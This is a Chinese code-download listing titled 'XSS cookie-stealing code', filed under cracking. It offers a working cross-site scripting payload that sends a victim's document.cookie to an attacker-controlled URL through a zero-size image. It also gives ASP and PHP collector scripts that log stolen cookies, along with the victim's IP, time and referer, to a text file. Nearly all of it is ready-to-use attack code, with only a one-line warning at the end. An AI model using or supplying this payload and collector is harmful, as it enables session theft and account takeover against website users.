XSS偷cookie的代码.txt
资源名称:xssshell.rar [点击查看]
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:1k
源码类别:
破解
开发平台:
ASP/ASPX
- <script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
- news.asp代码:
- <%
- msg=Request.ServerVariables("QUERY_STRING")
- testfile=Server.MapPath("cook.txt")
- set fs=server.CreateObject("scripting.filesystemobject")
- set thisfile=fs.OpenTextFile(testfile,8,True,0)
- thisfile.Writeline(""&msg& "")
- thisfile.close
- set fs = nothing
- %>
- PHP版代码:
- <?php
- $cookie = $_GET['c'];
- $ip = getenv ('REMOTE_ADDR');
- $time=date("j F, Y, g:i a");
- $referer=getenv ('HTTP_REFERER');
- $fp = fopen('cook.txt', 'a');
- fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
- fclose($fp);
- ?>
- 注意:最近警惕XX攻击。